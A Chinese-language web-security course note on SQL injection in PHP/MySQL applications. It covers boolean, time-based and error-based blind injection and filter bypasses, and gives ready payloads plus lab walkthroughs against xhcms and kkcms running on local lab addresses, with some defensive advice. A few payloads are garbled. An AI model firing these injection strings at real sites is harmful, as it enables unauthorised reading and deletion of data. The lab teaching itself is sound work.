044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式
1.演示案例:
➢PHP-MYSQL-SQL操作-增删改查
➢PHP-MYSQL-注入函数-布尔&报错&延迟
➢PHP-MYSQL-注入条件-数据回显&错误处理
➢PHP-MYSQL-CMS案例-插入报错&删除延迟
2. 核心知识点概览
本文围绕 PHP 与 MySQL 交互中的 SQL 注入风险展开,核心覆盖 3 类关键内容:
-
PHP-MySQL 的 SQL 基础操作(增删改查)及注入风险点
-
3 种 SQL 盲注技术(布尔型、时间型、报错型)的原理与实战
-
注入条件判断(数据回显、错误处理)及 CMS 实战案例(插入报错、删除延时)
3. PHP-MySQL-SQL 基础操作(增删改查)
3.1 操作定义与场景
SQL 注入的风险根源是 “用户输入未过滤直接拼接 SQL 语句”,需先理解 PHP 中常见的 MySQL 操作逻辑:
操作类型 | 功能描述 | 应用场景 | 基础 SQL 语句 | 注入风险点 |
---|---|---|---|---|
查询(Select) | 从数据库读取数据 | 文章详情、用户登录验证 | SELECT * FROM news WHERE id=$id | $id 未过滤,可拼接逻辑判断 |
新增(Insert) | 向数据库插入数据 | 留言提交、用户注册 | INSERT INTO news (title) VALUES ('$title') | $title 含单引号 / 特殊字符,破坏 SQL 结构 |
删除(Delete) | 从数据库删除数据 | 删除文章、删除用户 | DELETE FROM news WHERE id=$id | $id 拼接or 1=1可删除所有数据 |
修改(Update) | 更新数据库中已有数据 | 修改密码、编辑文章 | UPDATE user SET pwd='$new_pwd' WHERE id=$id | (new_pwd或)id 未过滤,可篡改更新条件 |
3.2 补充:PHP 代码示例(风险版 vs 安全版)
风险版(存在注入)
// 直接拼接用户输入,无过滤
$id = $_GET['id']; // 用户输入:1' or 1=1 --
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysql_query($sql); // 执行后变成:SELECT * FROM news WHERE id=1' or 1=1 --
安全版(参数化查询)
// 使用MySQLi参数化查询,避免注入
$id = $_GET['id'];
$stmt = $mysqli->prepare("SELECT * FROM news WHERE id=?");
$stmt->bind_param("i", $id); // 绑定参数(i=整数类型)
$stmt->execute();
4. 三种 SQL 盲注技术详解
什么是盲注?
当注入时无法直接从页面获取数据库数据回显(如页面只显示 “成功 / 失败”“加载中”,无具体内容),需通过 “逻辑判断” 或 “错误触发” 间接获取数据的注入方式,称为盲注。
4.1 基于布尔的 SQL 盲注(需页面回显变化)
原理
利用 SQL 的逻辑判断(and/or),构造条件语句,通过页面是否正常显示(如 “存在数据” vs “空白页”)判断条件是否成立,逐步猜解数据。
核心函数(含详细解释 + 示例)
函数 | 作用 | 示例(猜解数据库名) | 说明 |
---|---|---|---|
length() | 计算字符串长度 | and length(database())=7 | 判断当前数据库名是否为 7 个字符 |
left() | 从左截取指定长度字符 | and left(database(),1)='p' | 判断数据库名第 1 个字符是否为 'p' |
substr() | 从指定位置截取指定长度字符(substr (字符串,起始位,长度)) | and substr(database(),2,1)='i' | 判断数据库名第 2 个字符是否为 'i' |
ord() | 将字符转为 ASCII 码值 | and ord(left(database(),1))=112 | 'p' 的 ASCII 码是 112,判断第 1 个字符是否为 'p' |
regexp | 正则匹配 | and database() regexp '^p' | 判断数据库名是否以 'p' 开头 |
like | 模糊匹配(% 匹配任意字符,_匹配单个字符) | and database() like 'p%' | 判断数据库名是否以 'p' 开头 |
注入步骤(实战示例)
-
判断注入点:访问http://xxx/news.php?id=1 and 1=1(页面正常),id=1 and 1=2(页面空白)→ 存在布尔盲注点。
-
猜解数据库名长度:尝试id=1 and length(database())=6(页面正常)→ 数据库名长度为 6。
-
逐字符猜解数据库名:
-
- id=1 and ord(left(database(),1))>110(正常,说明第 1 个字符 ASCII>110)
-
- id=1 and ord(left(database(),1))<113(正常,说明 < 113)
-
- id=1 and ord(left(database(),1))=112(正常,ASCII=112→'p')
- 后续猜解表名、列名、数据:重复上述逻辑,如and ord(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=117(猜解第一个表名第 1 个字符是否为 'u')。
适用场景
页面有明确的 “正常 / 异常” 回显(如正确 ID 显示内容,错误 ID 显示空白),无错误提示。
4.2 基于时间的 SQL 盲注(无需回显 / 报错)
原理
利用SLEEP()函数构造条件,若条件成立则触发延迟(如 3 秒),通过页面响应时间判断条件是否成立,适合无任何回显的场景。
核心函数
函数 | 作用 | 示例 | 说明 |
---|---|---|---|
IF(条件, 成立执行, 不成立执行) | 条件判断函数 | IF(1=1, SLEEP(3), 0) | 1=1 成立,执行延迟 3 秒 |
SLEEP(N) | 使 SQL 执行暂停 N 秒 | SLEEP(5) | 暂停 5 秒,用于观察延迟 |
注入语句(带说明)
-
验证注入点:id=1 and sleep(3) → 页面延迟 3 秒加载→存在时间盲注点。
-
猜解数据库名长度:id=1 and if(length(database())=6, sleep(3), 0) → 若延迟 3 秒→长度为 6。
-
逐字符猜解:id=1 and if(ord(left(database(),1))=112, sleep(3), 0) → 若延迟→第 1 个字符为 'p'。
注意事项
-
网络波动可能影响延迟判断,建议多次测试。
-
部分数据库(如 PostgreSQL)用pg_sleep(N)替代SLEEP(N)。
适用场景
页面无任何回显(无论输入正确与否,页面显示一致),且无错误提示。
4.3 基于报错的 SQL 盲注(需开启错误显示)
原理
利用 MySQL 函数(如updatexml()、extractvalue())的语法特性,构造非法参数触发报错,使错误信息中携带数据库数据(如版本、表名)。
核心函数(报错原理 + 示例)
函数 | 报错原理 | 注入语句(获取数据库版本) | 报错信息(含数据) |
---|---|---|---|
updatexml(目标XML, XPath路径, 替换值) | XPath 路径需符合 XML 语法,若含特殊字符(如~)则报错 | and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) | XPATH syntax error: '5.7.26'(5.7.26 是数据库版本) |
extractvalue(目标XML, XPath路径) | 同 updatexml,XPath 路径非法触发报错 | and extractvalue(1, concat(0x5c, (select database()))) | XPATH syntax error: '\testdb'(testdb 是当前数据库名) |
floor(rand(0)*2) | 结合group by使用时,rand () 值重复导致主键冲突报错 | and (select count() from information_schema.tables group by floor(rand(0)2) concat(0x7e, database(), 0x7e)) | Duplicate entry 'testdb1' for key 'group_key' |
注入步骤(以 updatexml 为例)
判断是否开启错误显示:访问http://xxx/news.php?id=1' → 若显示 SQL 语法错误→开启了错误显示。
构造报错语句:id=1' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)-- → 从报错中获取版本。
获取更多数据:替换select version()为select table_name from information_schema.tables where table_schema=database() limit 0,1 → 获取第一个表名。
适用场景
PHP 开启了display_errors=On(显示 SQL 错误信息),适合快速获取数据(比布尔 / 时间盲注效率高)。
补充:如何关闭错误显示(防御)
在 PHP 配置文件php.ini中设置:
display_errors = Off
error_log = /var/log/php_error.log # 错误日志写入文件,不对外显示
4.4 三种盲注对比(表格优化)
盲注类型 | 核心依赖 | 优点 | 缺点 | 适用场景 |
---|---|---|---|---|
布尔型 | 页面回显变化(正常 / 异常) | 逻辑清晰,易判断 | 需逐字符猜解,效率低 | 页面有明确回显差异,无错误显示 |
时间型 | 页面响应延迟 | 无需回显 / 报错,适用广 | 受网络影响大,效率最低 | 页面无任何回显和错误提示 |
报错型 | SQL 错误信息显示 | 效率高,直接带数据 | 需开启错误显示,局限性大 | PHP 开启 display_errors,需快速获取数据 |
5. PHP-MySQL 注入条件与判断
5.1 核心判断标准(补充原理)
注入条件类型 | 判断方法 | 原理 | 示例场景 |
---|---|---|---|
基于布尔 | 构造and 1=1(正常)和and 1=2(异常) | 逻辑条件影响 SQL 查询结果,进而影响页面显示 | 新闻详情页:正确 ID 显示内容,错误 ID 显示空白 |
基于时间 | 构造and sleep(3),观察页面加载时间 | 条件成立时触发延迟,影响响应时间 | 登录页:无论用户名密码对错,页面显示一致 |
基于报错 | 构造非法 SQL(如id=1'),观察是否显示错误 | PHP 未关闭错误显示,SQL 语法错误对外暴露 | 测试环境页面:直接显示 “MySQL server version for the right syntax to use near ''1''' at line 1” |
5.2 黑盒测试优先选择(面试题解答优化)
问题:黑盒测试时,若需盲注,优先选哪种方式?
解答:
优先尝试报错盲注:
-
- 原因:构造简单(如加单引号),若开启错误显示,可快速获取数据,效率最高;
-
- 操作:先输入id=1'或id=1 and 1=@@version,观察是否有错误回显。
其次尝试布尔盲注:
-
- 若无错误显示,构造and 1=1和and 1=2,观察页面是否有差异(如内容显示 / 隐藏、按钮状态变化)。
最后尝试时间盲注:
-
- 若页面无任何差异,用and sleep(3)测试延迟,缺点是效率低且受网络影响大。
关键注意事项:需注意符号过滤(如单引号被转义,需用1''或1')尝试),以及空格过滤(用%20或/**/替换空格)。
6. 实战 CMS 案例解析(步骤优化 + 补充说明)
6.1 案例 1:xhcms - 插入报错注入(Insert 操作注入)
目标
通过 “留言提交” 功能(Insert 操作),利用报错盲注获取数据库版本。
环境准备
-
靶场:xhcms(PHP+MySQL)
-
功能点:留言板(http://192.168.137.1:85/?r=contact)
-
核心风险:留言内容未过滤,直接拼接进 Insert 语句。
详细步骤(补充关键解释)
定位注入点:
-
- 查看源码:全局搜索insert,找到files/submit.php的 Insert 语句:
INSERT INTO interaction (name, content, ...) VALUES ('$name', '$content', ...)
-
- 发现$content(留言内容)未过滤,且用单引号包裹→注入需闭合单引号。
构造注入语句:
-
- 留言内容输入:' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) and '
-
- 关键:末尾的and '用于闭合 SQL 语句的最后一个单引号(原语句最后是'$content',注入后变为'内容' and ... and '',语法正确)。
触发报错:
-
- 注意:留言内容必须含中文(原理:xhcms 对纯英文内容有编码处理,导致报错不回显;中文可绕过编码,正常触发错误)。
-
- 提交后,页面显示报错:XPATH syntax error: '5.7.26'→获取到数据库版本。
案例总结
-
Insert 注入常出现在 “留言板、注册、评论” 等功能;
-
需注意闭合 SQL 语句中的单引号 / 双引号,避免语法错误;
-
部分 CMS 对英文内容特殊处理,可尝试中文 / 特殊字符触发报错。
6.2 案例 2:kkcms - 删除延时注入(Delete 操作注入)
目标
通过 “用户组删除” 功能(Delete 操作),利用时间盲注猜解数据库名第一个字符。
环境准备
-
靶场:kkcms(PHP+MySQL)
-
功能点:管理员后台用户组删除(http://192.168.137.1:86/admin/cms_usergroup.php)
-
核心风险:删除参数del未过滤,直接拼接进 Delete 语句。
详细步骤(补充工具使用说明)
定位注入点:
-
- 查看源码:全局搜索delete,找到admin/model/usergroup.php的 Delete 语句:
DELETE FROM usergroup WHERE id=$del
-
- $del是 URL 参数(?del=4),未过滤→可构造时间盲注语句。
使用 Burp Suite 抓包测试:
-
- 原因:浏览器无法直观显示延迟时间,Burp 的 “Repeater” 模块可查看响应时间。
-
- 抓包:访问删除按钮,抓取 GET 请求http://xxx/admin/cms_usergroup.php?del=4。
构造延时注入语句:
-
- 原始参数:?del=4
-
- 注入语句:?del=4%20or%20if(ord(left(database(),1))=107,sleep(2),0)
-
-
- %20:替换空格(避免 URL 解析错误);
-
-
-
- ord(left(database(),1))=107:判断数据库名第 1 个字符的 ASCII 码是否为 107(对应字符 'k');
-
-
-
- 若条件成立,延迟 2 秒;不成立则无延迟。
-
判断结果:
-
- 在 Burp Repeater 中发送请求,观察 “Response Time”:
-
-
- 若响应时间≈2 秒→条件成立(数据库名第 1 个字符是 'k');
-
-
-
- 若响应时间≈0.1 秒→条件不成立,调整 ASCII 码值继续测试。
-
关键知识点
-
Delete 注入常出现在 “后台删除数据” 功能(需登录权限);
-
单引号被过滤时,用ord()转 ASCII 码比较(无需单引号包裹字符);
-
空格被过滤时,可用%20(URL 编码)、/**/(SQL 注释)替换。
7. xhcms/kkcms 搭建补充(新手友好版)
7.1 xhcms 搭建步骤
下载源码:从官方或安全靶场平台获取 xhcms 源码。
配置数据库:
-
- 新建 MySQL 数据库(如xhcms_db);
-
- 导入源码中的 SQL 文件(如xhcms.sql);
-
- 修改config.php中的数据库配置:
$dbhost = 'localhost'; // 数据库地址
$dbuser = 'root'; // 用户名
$dbpass = '123456'; // 密码
$dbname = 'xhcms_db'; // 数据库名
部署到 PHP 环境:
-
- 将源码放入 PHPStudy 的www目录(或 XAMPP 的htdocs目录);
-
- 访问http://localhost/xhcms/,若显示首页→搭建成功。
7.2 kkcms 搭建步骤
下载源码:获取 kkcms 管理员版源码(含后台功能)。
配置数据库:
-
- 新建数据库kkcms_db,导入kkcms.sql;
-
- 修改inc/config.php中的数据库信息。
登录后台:
-
- 访问http://localhost/kkcms/admin/,默认账号密码:admin/admin123;
-
- 进入 “用户组管理”(cms_usergroup.php)→ 功能正常则搭建成功。
8. 常见问题与优化建议
8.1 注入时遇到的问题及解决方案
问题现象 | 原因 | 解决方案 |
---|---|---|
单引号输入后变成' | PHP 开启了magic_quotes_gpc=On(自动转义单引号) | 1. 用双引号尝试:" and 1=1 -- ;2. 用1''闭合(转义后变成1'',等效于1'') |
空格输入后被过滤 | CMS 对空格进行了过滤 | 用%20(URL 编码)、//(SQL 注释)、+(部分场景)替换空格,如and//1=1 |
报错盲注无回显 | PHP 关闭了display_errors | 改用布尔盲注或时间盲注;或尝试触发其他错误(如路径遍历) |
时间盲注延迟不稳定 | 网络波动或服务器负载高 | 增加延迟时间(如从 3 秒改为 5 秒),多次测试取平均值 |